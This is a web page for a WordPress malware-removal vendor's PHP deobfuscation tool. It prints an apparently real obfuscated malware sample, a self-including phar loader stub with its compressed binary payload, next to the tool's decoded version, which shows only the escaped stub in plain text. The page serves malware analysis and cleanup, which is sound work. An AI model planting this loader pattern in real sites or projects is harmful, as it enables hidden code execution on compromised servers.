Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>/^@^@^@^A^@^@^@^Q^@^@^P^A^@^@^@^@^@^@^@^@^@^A^@^@^@xá^A^@^@^@^@^@^@Y^A^@^@*qø^Hÿ^Q^@^@^@^@^@^@U<90>_kÂ0^TÅßû)J¸hBEëü3»^XÖç<8d>=Ê^Pq¥<8d>©FkRÒ8dâwßmÇ^F#^P8¿Ë9<97>s<97>Ïõ¡^NÕ...



Obfuscated php code

<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>/^@^@^@^A^@^@^@^Q^@^@^P^A^@^@^@^@^@^@^@^@^@^A^@^@^@xá^A^@^@^@^@^@^@Y^A^@^@*qø^Hÿ^Q^@^@^@^@^@^@U<90>_kÂ0^TÅßû)J¸hBEëü3»^XÖç<8d>=Ê^Pq¥<8d>©FkRÒ8dâwßmÇ^F#^P8¿Ë9<97>s<97>Ïõ¡^NÕg^Ñ><9c>^DIâE^Q^WyB8<9c>^N<82>L^V<93>¸<98>Î<93>E<92>ä-*^E<99>ïfRªÇ<87><87>Y1CT^K²:<9a><97>×µ~<8f>ãËúím±"<^HÊ<8b><91>^[^S^)ø^A<9c>Ø-^@)^Zï*e(J^NÕ<9f>ò¨¬ h+­£ EÌA/¡âhêÈ^Q        þK<90>½^7AÃ1<8a>^F £<88>^E<98>l<87>^Bü^Fôö^CN^[8nypÇç<94>¿8^S<82>m¥.C<9a>ÖNí³sîå<81><92>^Q^V¤Ã<88>a©^Q^Y¤¥®T¶W><93>Öxe|C        ^æi4Ò¦¾xÂ^FpfB<8c>Yx^KR[d<8d>Ï<9d>§<8c>^Giw»tÿ<85><85>í^Y^W4^MM¯4-òFͧÙNI»S^TÎ<9b>ñ<96>µw`èÁ¶mÆ¿mm^T2ev<99>¬TnZ^@Nüæ(Óå´Éû¯¿E`^?2yP;m<%Pc+pØ<89> ¼÷^Yÿ^FÐU»ù®ê^Hm^HùP<90>Þ»<85>*´/d ^B^@^@^@GBMB

Decoded(de-Obfuscated) php code

<?php

include "phar://" . basename("/var/www/html/input.php") . "/x";
__halt_compiler(); ?>/^@^@^@^A^@^@^@^Q^@^@^P^A^@^@^@^@^@^@^@^@^@^A^@^@^@xá^A^@^@^@^@^@^@Y^A^@^@*qø^Hÿ^Q^@^@^@^@^@^@U<90>_kÂ0^TÅßû)J¸hBEëü3»^XÖç<8d>=Ê^Pq¥<8d>©FkRÒ8dâwßmÇ^F#^P8¿Ë9<97>s<97>Ïõ¡^NÕg^Ñ><9c>^DIâE^Q^WyB8<9c>^N<82>L^V<93>¸<98>Î<93>E<92>ä-*^E<99>ïfRªÇ<87><87>Y1CT^K²:<9a><97>×µ~<8f>ãËúím±"<^HÊ<8b><91>^[^S^)ø^A<9c>Ø-^@)^Zï*e(J^NÕ<9f>ò¨¬ h+­£ EÌA/¡âhêÈ^Q        þK<90>½^7AÃ1<8a>^F £<88>^E<98>l<87>^Bü^Fôö^CN^[8nypÇç<94>¿8^S<82>m¥.C<9a>ÖNí³sîå<81><92>^Q^V¤Ã<88>a©^Q^Y¤¥®T¶W><93>Öxe|C        ^æi4Ò¦¾xÂ^FpfB<8c>Yx^KR[d<8d>Ï<9d>§<8c>^Giw»tÿ<85><85>í^Y^W4^MM¯4-òFͧÙNI»S^TÎ<9b>ñ<96>µw`èÁ¶mÆ¿mm^T2ev<99>¬TnZ^@Nüæ(Óå´Éû¯¿E`^?2yP;m<%Pc+pØ<89> ¼÷^Yÿ^FÐU»ù®ê^Hm^HùP<90>Þ»<85>*´/d ^B^@^@^@GBMB


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.